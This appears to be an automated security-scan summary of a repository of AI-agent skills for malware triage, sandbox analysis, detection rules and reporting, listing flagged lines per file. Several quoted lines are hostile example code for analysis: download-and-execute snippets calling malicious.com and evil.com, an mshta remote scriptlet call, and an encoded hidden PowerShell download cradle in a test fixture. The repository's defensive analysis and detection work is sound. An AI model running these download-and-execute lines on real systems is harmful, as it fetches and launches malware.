- https://attack.mitre.org/techniques/T1105/ - Network accessline 270
description: Detects creation of registry Run key pointing to suspicious locations references: - https://attack.mitre.org/techniques/T1547/001/ - Network accessline 271
references: - https://attack.mitre.org/techniques/T1547/001/ author: Analyst Name - Network accessline 272
- https://attack.mitre.org/techniques/T1547/001/ - Network accessline 332
description: Detects file creation in common malware drop locations references: - https://attack.mitre.org/techniques/T1105/ - Network accessline 333
references: - https://attack.mitre.org/techniques/T1105/ author: Analyst Name - Network accessline 334
- https://attack.mitre.org/techniques/T1105/ - Network accessline 662
<?xml version="1.0" encoding="UTF-8"?> <ioc xmlns="http://schemas.mandiant.com/2010/ioc"> - Network accessline 663
<ioc xmlns="http://schemas.mandiant.com/2010/ioc"> - Network accessline 797
| Task | Tool | Command | |------|------|---------| | **Defang IOCs** | ioc-fanger | `echo "http://evil.com" \| fanger --defang` | - Network accessline 798
|------|------|---------| | **Defang IOCs** | ioc-fanger | `echo "http://evil.com" \| fanger --defang` | | **Convert Sigma** | sigma-cli | `sigma convert -t splunk rule.yml` | - Network accessline 799
| **Defang IOCs** | ioc-fanger | `echo "http://evil.com" \| fanger --defang` |
docs/example-triage.md
malware-dynamic-analysis/references/anti_analysis_bypass.md
- Network accessline 164
# Create browser history (requires Chrome installed) # Open URLs from PowerShell Start-Process "chrome.exe" "https://www.gmail.com" - Network accessline 165
# Open URLs from PowerShell Start-Process "chrome.exe" "https://www.gmail.com" Start-Process "chrome.exe" "https://www.stackoverflow.com" - Network accessline 166
Start-Process "chrome.exe" "https://www.gmail.com" - Network accessline 167
Start-Process "chrome.exe" "https://www.stackoverflow.com" - Network accessline 183
# https://github.com/hfiref0x/VBoxHardenedLoader - Network accessline 258
# Download: https://github.com/x64dbg/ScyllaHide - Network accessline 281
# Download: https://github.com/mrexodia/TitanHide - Network accessline 519
Download: https://github.com/x64dbg/ScyllaHide/releases - Network accessline 536
Download: https://github.com/mrexodia/TitanHide - Network accessline 547
Download: https://github.com/LordNoteworthy/al-khaser - Network accessline 563
Download: https://github.com/a0rtega/pafish/releases - Network accessline 574
Download: https://github.com/hasherezade/hollows_hunter
malware-dynamic-analysis/references/sandbox_setup.md
- Network accessline 14
# Option 1: Download pre-built OVA (recommended) # https://remnux.org/#distro - Network accessline 15
# https://remnux.org/#distro - Network accessline 18
# Option 2: Add REMnux to existing Ubuntu 22.04 LTS wget https://REMnux.org/remnux-cli - Network accessline 19
wget https://REMnux.org/remnux-cli - Dangerous shell operationline 22
sudo remnux install - Dangerous shell operationline 42
sudo remnux upgrade - Dangerous shell operationline 45
sudo timedatectl set-timezone UTC - Dangerous shell operationline 48
sudo systemctl disable apt-daily.timer - Dangerous shell operationline 49
sudo systemctl disable apt-daily-upgrade.timer - Dangerous shell operationline 52
sudo systemctl status inetsim - Dangerous shell operationline 58
sudo nano /etc/inetsim/inetsim.conf - Dangerous shell operationline 83
sudo inetsim - Network accessline 127
# Download and run FlareVM installer (New-Object net.webclient).DownloadFile( 'https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1', - Network accessline 128
(New-Object net.webclient).DownloadFile( 'https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1', "$env:temp\install.ps1" - Network accessline 129
'https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1', - Network accessline 379
# Download: https://github.com/a0rtega/pafish - Network accessline 394
# Clone CAPE git clone https://github.com/kevoreilly/CAPEv2.git - Network accessline 395
git clone https://github.com/kevoreilly/CAPEv2.git - Dangerous shell operationline 399
sudo docker-compose up -d - Network accessline 401
# Web interface available at: # http://localhost:8000 - Network accessline 402
# http://localhost:8000 - Network accessline 421
http://localhost:8000/submit - Dangerous shell operationline 449
- Check INetSim is running: `sudo systemctl status inetsim` - Dangerous shell operationline 450
- Verify no firewall blocking port 53 on REMnux: `sudo ufw status`
malware-dynamic-analysis/references/tool_setup.md
- Network accessline 7
### Initial Setup 1. Download from: https://docs.microsoft.com/en-us/sysinternals/downloads/procmon - Network accessline 8
1. Download from: https://docs.microsoft.com/en-us/sysinternals/downloads/procmon - Network accessline 59
### Capture Setup 1. Download from: https://www.wireshark.org - Network accessline 60
1. Download from: https://www.wireshark.org - Network accessline 119
### Setup 1. Download from: https://systeminformer.sourceforge.io - Network accessline 120
1. Download from: https://systeminformer.sourceforge.io - Network accessline 171
# Download Sysmon # https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon - Network accessline 172
# https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon - Network accessline 177
# Config sources (pick one): # https://github.com/olafhartong/sysmon-modular (actively maintained, MITRE-mapped; use sysmonconfig.xml) - Network accessline 178
# https://github.com/olafhartong/sysmon-modular (actively maintained, MITRE-mapped; use sysmonconfig.xml) - Network accessline 179
# https://github.com/SwiftOnSecurity/sysmon-config (classic, less frequently updated) - Network accessline 209
### Workflow 1. Download from: https://sourceforge.net/projects/regshot/ - Network accessline 210
1. Download from: https://sourceforge.net/projects/regshot/ - Network accessline 234
### Setup 1. Download from: https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview - Network accessline 235
1. Download from: https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview - Network accessline 256
# Download from: https://github.com/Rurik/Noriben - Network accessline 257
git clone https://github.com/Rurik/Noriben.git - Dangerous shell operationline 282
sudo apt update - Dangerous shell operationline 283
sudo apt install inetsim - Dangerous shell operationline 286
sudo nano /etc/inetsim/inetsim.conf - Dangerous shell operationline 300
sudo inetsim - Network accessline 322
# Download from: https://github.com/mandiant/flare-fakenet-ng
malware-dynamic-analysis/scripts/procmon_summary.py
- Executable scriptline 1
#!/usr/bin/env python3
malware-dynamic-analysis/scripts/sysmon_summary.py
- Executable scriptline 1
#!/usr/bin/env python3
malware-report-writer/SKILL.md
- Executable scriptline 1
Executable file
malware-report-writer/assets/report_template.md
malware-report-writer/references/best_practices.md
- Executable scriptline 1
Executable file
malware-triage/SKILL.md
malware-triage/references/indicators.md
- Executable scriptline 1
Executable file - Network accessline 70
- Hardcoded IP addresses (especially RFC1918 or suspicious IPs) - Domain names (especially newly registered or suspicious TLDs) - URL patterns: `http://`, `https://`, `ftp://` - Network accessline 71
- Domain names (especially newly registered or suspicious TLDs) - URL patterns: `http://`, `https://`, `ftp://` - Port numbers in strings (especially non-standard ports) - Network accessline 72
- URL patterns: `http://`, `https://`, `ftp://`
malware-triage/references/triage_checklist.md
- Executable scriptline 1
Executable file
malware-triage/scripts/hash_calculator.py
- Executable scriptline 1
#!/usr/bin/env python3
malware-triage/scripts/pe_info.py
references/mcp_integrations.md
- Access to secretsline 15
[Credential-related source omitted] - Network accessline 29
**GitHub:** [BurtTheCoder/mcp-virustotal](https://github.com/BurtTheCoder/mcp-virustotal) - Access to secretsline 54
[Credential-related source omitted] - Network accessline 61
**API key:** Free tier at [virustotal.com](https://www.virustotal.com/) (4 lookups/min, 500/day). Premium for higher limits. - Network accessline 69
**GitHub:** [threat-zone/threatzonemcp](https://github.com/threat-zone/threatzonemcp) - Access to secretsline 102
[Credential-related source omitted] - Network accessline 109
**API key:** Register at [threat.zone](https://app.threat.zone/) - Network accessline 117
**GitHub:** [aplaceforallmystuff/mcp-threatintel](https://github.com/aplaceforallmystuff/mcp-threatintel) - Access to secretsline 144
[Credential-related source omitted] - Access to secretsline 145
[Credential-related source omitted] - Access to secretsline 146
[Credential-related source omitted] - Network accessline 162
**GitHub:** [bornpresident/MISP-MCP-SERVER](https://github.com/bornpresident/MISP-MCP-SERVER) - Network accessline 179
**Setup:** Requires a running MISP instance. See [GitHub README](https://github.com/bornpresident/MISP-MCP-SERVER) for configuration. - Network accessline 187
**GitHub:** [BurtTheCoder/mcp-shodan](https://github.com/BurtTheCoder/mcp-shodan) - Access to secretsline 212
[Credential-related source omitted] - Network accessline 219
**API key:** Free tier at [shodan.io](https://www.shodan.io/) - Network accessline 227
**GitHub:** [bornpresident/Volatility-MCP-Server](https://github.com/bornpresident/Volatility-MCP-Server) - Network accessline 242
**Setup:** Requires Volatility 3 installed locally. See [GitHub README](https://github.com/bornpresident/Volatility-MCP-Server) for configuration.
scripts/ioc_extract.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 240
def self_test(): sample = ( "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" - Network accessline 240
def self_test(): sample = ( "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" - Network accessline 240
def self_test(): sample = ( "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" - Network accessline 240
def self_test(): sample = ( "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" - Network accessline 240
def self_test(): sample = ( "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" - Network accessline 240
def self_test(): sample = ( "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" - Network accessline 241
sample = ( "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" "Also seen evil.tk in the config, and payload.exe is not a domain.\n" - Network accessline 241
sample = ( "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" "Also seen evil.tk in the config, and payload.exe is not a domain.\n" - Network accessline 241
sample = ( "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" "Also seen evil.tk in the config, and payload.exe is not a domain.\n" - Network accessline 241
sample = ( "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" "Also seen evil.tk in the config, and payload.exe is not a domain.\n" - Network accessline 241
sample = ( "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" "Also seen evil.tk in the config, and payload.exe is not a domain.\n" - Network accessline 241
sample = ( "Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" "Also seen evil.tk in the config, and payload.exe is not a domain.\n" - Network accessline 242
"Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" - Network accessline 242
"Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" - Network accessline 242
"Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" - Network accessline 242
"Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" - Network accessline 242
"Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" - Network accessline 242
"Visit http://evil[.]com/a[.]exe and hxxps://bad-tld[.]tk/x now.\n" - Network accessline 253
assert any(k == "url" and "evil" in v for k, v in kinds), "url not found" live = refang("hxxps://bad-tld[.]tk/x") assert live == "https://bad-tld.tk/x", "refang roundtrip failed" - Network accessline 253
assert any(k == "url" and "evil" in v for k, v in kinds), "url not found" live = refang("hxxps://bad-tld[.]tk/x") assert live == "https://bad-tld.tk/x", "refang roundtrip failed" - Network accessline 253
assert any(k == "url" and "evil" in v for k, v in kinds), "url not found" live = refang("hxxps://bad-tld[.]tk/x") assert live == "https://bad-tld.tk/x", "refang roundtrip failed" - Network accessline 253
assert any(k == "url" and "evil" in v for k, v in kinds), "url not found" live = refang("hxxps://bad-tld[.]tk/x") assert live == "https://bad-tld.tk/x", "refang roundtrip failed" - Network accessline 253
assert any(k == "url" and "evil" in v for k, v in kinds), "url not found" live = refang("hxxps://bad-tld[.]tk/x") assert live == "https://bad-tld.tk/x", "refang roundtrip failed" - Network accessline 253
assert any(k == "url" and "evil" in v for k, v in kinds), "url not found" live = refang("hxxps://bad-tld[.]tk/x") assert live == "https://bad-tld.tk/x", "refang roundtrip failed" - Network accessline 254
live = refang("hxxps://bad-tld[.]tk/x") assert live == "https://bad-tld.tk/x", "refang roundtrip failed" assert defang("url", live) == "hxxps://bad-tld[.]tk/x", "defang(refang(x)) != x" - Network accessline 254
live = refang("hxxps://bad-tld[.]tk/x") assert live == "https://bad-tld.tk/x", "refang roundtrip failed" assert defang("url", live) == "hxxps://bad-tld[.]tk/x", "defang(refang(x)) != x" - Network accessline 254
live = refang("hxxps://bad-tld[.]tk/x") assert live == "https://bad-tld.tk/x", "refang roundtrip failed" assert defang("url", live) == "hxxps://bad-tld[.]tk/x", "defang(refang(x)) != x" - Network accessline 254
live = refang("hxxps://bad-tld[.]tk/x") assert live == "https://bad-tld.tk/x", "refang roundtrip failed" assert defang("url", live) == "hxxps://bad-tld[.]tk/x", "defang(refang(x)) != x" - Network accessline 254
live = refang("hxxps://bad-tld[.]tk/x") assert live == "https://bad-tld.tk/x", "refang roundtrip failed" assert defang("url", live) == "hxxps://bad-tld[.]tk/x", "defang(refang(x)) != x" - Network accessline 254
live = refang("hxxps://bad-tld[.]tk/x") assert live == "https://bad-tld.tk/x", "refang roundtrip failed" assert defang("url", live) == "hxxps://bad-tld[.]tk/x", "defang(refang(x)) != x" - Network accessline 255
assert live == "https://bad-tld.tk/x", "refang roundtrip failed" - Network accessline 255
assert live == "https://bad-tld.tk/x", "refang roundtrip failed" - Network accessline 255
assert live == "https://bad-tld.tk/x", "refang roundtrip failed" - Network accessline 255
assert live == "https://bad-tld.tk/x", "refang roundtrip failed" - Network accessline 255
assert live == "https://bad-tld.tk/x", "refang roundtrip failed" - Network accessline 255
assert live == "https://bad-tld.tk/x", "refang roundtrip failed"
specialized-file-analyzer/SKILL.md
- Network accessline 34
command -v 7z unzip olevba oledump.py pdfid.py pdf-parser.py ilspycmd js-beautify lnkinfo readelf upx exiftool # olevba/oledump/XLM: pip install oletools pdfid/pdf-parser: git clone https://github.com/DidierStevens/DidierStevensSui - Network accessline 35
# olevba/oledump/XLM: pip install oletools pdfid/pdf-parser: git clone https://github.com/DidierStevens/DidierStevensSuite - Network accessline 117
**Download:** https://github.com/dnSpy/dnSpy - Network accessline 145
// Download and execute WebClient wc = new WebClient(); wc.DownloadFile("http://malicious.com/payload.exe", "C:\\temp\\payload.exe"); - Network accessline 146
WebClient wc = new WebClient(); wc.DownloadFile("http://malicious.com/payload.exe", "C:\\temp\\payload.exe"); Process.Start("C:\\temp\\payload.exe"); - Network accessline 147
wc.DownloadFile("http://malicious.com/payload.exe", "C:\\temp\\payload.exe"); - Possible obfuscationline 151
byte[] decoded = Convert.FromBase64String(encodedPayload); - Network accessline 224
git clone https://github.com/DidierStevens/DidierStevensSuite # oledump.py, pdfid.py, pdf-parser.py, ... - Dangerous shell operationline 279
Eval() - Network accessline 321
# Extract with XLMMacroDeobfuscator git clone https://github.com/DissectMalware/XLMMacroDeobfuscator - Network accessline 322
git clone https://github.com/DissectMalware/XLMMacroDeobfuscator - Network accessline 339
# Look for: # <Relationship Type="http://schemas.../attachedTemplate" - Network accessline 340
# <Relationship Type="http://schemas.../attachedTemplate" - Network accessline 341
# Target="http://malicious.com/template.dotm" TargetMode="External"/> - Possible obfuscationline 492
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded)) - Network accessline 497
$url = "ht" + "tp://" + "evil.com" - Possible obfuscationline 503
$ms.Write([Convert]::FromBase64String($compressed), 0, $compressedLength) - Possible obfuscationline 519
raw = base64.b64decode(m.group(0) + "=" * (-len(m.group(0)) % 4)) - Possible obfuscationline 532
python3 -c "import base64,gzip,sys,zlib; b=base64.b64decode(sys.argv[1]); print((gzip.decompress(b) if b[:2]==b'\x1f\x8b' else zlib.decompress(b,-15)).decode('utf-8','replace'))" '<blob>' - Network accessline 545
git clone https://github.com/R3MRUM/PSDecode - Network accessline 596
Dim url url = "hXXXtXXXtXXXpXXX:XXXXX//evil.com/payload.exe" url = Replace(url, "XXX", "") ' = "http://evil.com/payload.exe" - Network accessline 598
url = Replace(url, "XXX", "") ' = "http://evil.com/payload.exe" - Dangerous shell operationline 677
# Last resort, VM only: replace Eval()/Execute() with WScript.Echo() and run: cscript /nologo malicious_safe.vbs - Dangerous shell operationline 695
eval(encodedCode); - Network accessline 774
# Download from: https://ericzimmerman.github.io/ - Possible obfuscationline 888
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("Base64StringHere")) - Network accessline 895
Set xhr = CreateObject("MSXML2.XMLHTTP") xhr.Open "GET", "http://malicious[.]com/payload.exe", False - Network accessline 896
xhr.Open "GET", "http://malicious[.]com/payload.exe", False - Network accessline 924
mshta.exe javascript:a=(GetObject("script:http://malicious[.]com/payload.sct")).Exec();close(); - Dangerous shell operationline 1001
sudo mkdir /mnt/suspicious_iso - Dangerous shell operationline 1002
sudo mount -o loop,ro suspicious.iso /mnt/suspicious_iso - Dangerous shell operationline 1015
sudo umount /mnt/suspicious_iso - Dangerous shell operationline 1038
sudo apt install qemu-utils - Dangerous shell operationline 1042
sudo mount -o loop,ro suspicious_raw.img /mnt/vhd_mount/
tests/extract_rules.py
- Executable scriptline 1
#!/usr/bin/env python3
tests/fixtures/scripts/malicious.ps1
- Network accessline 1
powershell.exe -nop -w hidden -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdQBwAGQAYQB0AGUALQBjAGQAbg - Possible obfuscationline 1
powershell.exe -nop -w hidden -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdQBwAGQAYQB0AGUALQBjAGQAbg - Executable scriptline 1
Executable file - Network accessline 2
$u = "ht"+"tp://update-cdn.example.test/gate.php" - Possible obfuscationline 3
$b = [System.Convert]::FromBase64String("VGVzdEZpeHR1cmU=")
tests/fixtures/scripts/malicious.vbs
- Executable scriptline 1
Executable file
tests/make_pe.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 28
ASCII_STRINGS = [ b"http://update-cdn.example.test/gate.php", - Network accessline 29
b"http://update-cdn.example.test/gate.php", - Possible obfuscationline 91
text = b"\x6a\x00\xff\x15" + struct.pack("<I", IMAGE_BASE + exit_iat) + b"\xcc" * 8 - Possible obfuscationline 107
stub = b"\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21This program cannot be run in DOS mode.\r\r\n$"
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Declared and executed: 1 fact
- Contacts bad-tld.tk, which SKILL.md, the README and the plugin manifest do not mentionscripts/ioc_extract.py:255High confidence
Signal confidence: 244 facts
- Network access in prose of documentationCHANGELOG.md:5Low confidence
- Executable script in prose of a file that runsREADME.md:1Low confidence
- Network access in prose of a file that runsREADME.md:6Low confidence
- Network access in code of a file that runsREADME.md:116High confidence
- Network access in prose of a file that runsREADME.md:142Low confidence
- Network access in prose of a file that runsREADME.md:143Low confidence
- Network access in prose of a file that runsREADME.md:144Low confidence
- Network access in prose of a file that runsREADME.md:145Low confidence
- Network access in prose of a file that runsREADME.md:146Low confidence
- Network access in prose of a file that runsREADME.md:147Low confidence
- Network access in prose of a file that runsREADME.md:148Low confidence
- Network access in prose of a file that runsREADME.md:285Low confidence
- Network access in prose of a file that runsREADME.md:286Low confidence
- Network access in prose of a file that runsREADME.md:290Low confidence
- Network access in prose of a file that runsREADME.md:291Low confidence
- Network access in prose of a file that runsREADME.md:292Low confidence
- Network access in prose of a file that runsREADME.md:293Low confidence
- Network access in prose of a file that runsREADME.md:295Low confidence
- Network access in prose of a file that runsREADME.md:296Low confidence
- Network access in prose of a file that runsREADME.md:297Low confidence
- Network access in prose of a file that runsREADME.md:298Low confidence
- Network access in prose of a file that runsREADME.md:299Low confidence
- Network access in prose of a file that runsREADME.md:300Low confidence
- Network access in prose of a file that runsREADME.md:301Low confidence
- Network access in prose of a file that runsREADME.md:303Low confidence
- Network access in prose of a file that runsREADME.md:304Low confidence
- Network access in prose of a file that runsREADME.md:305Low confidence
- Network access in prose of a file that runsREADME.md:306Low confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:48High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:49High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:52High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:95High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:96High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:99High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:101High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:106High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:107High confidence
- Network access in prose of the SKILL.mddetection-engineer/SKILL.md:152Low confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:160High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:161High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:162High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:235High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:236High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:237High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:238High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:270High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:271High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:272High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:332High confidence
- Network access in code of the SKILL.mddetection-engineer/SKILL.md:333High confidence
and 194 more
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Native | Manifest .claude-plugin/marketplace.json | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.
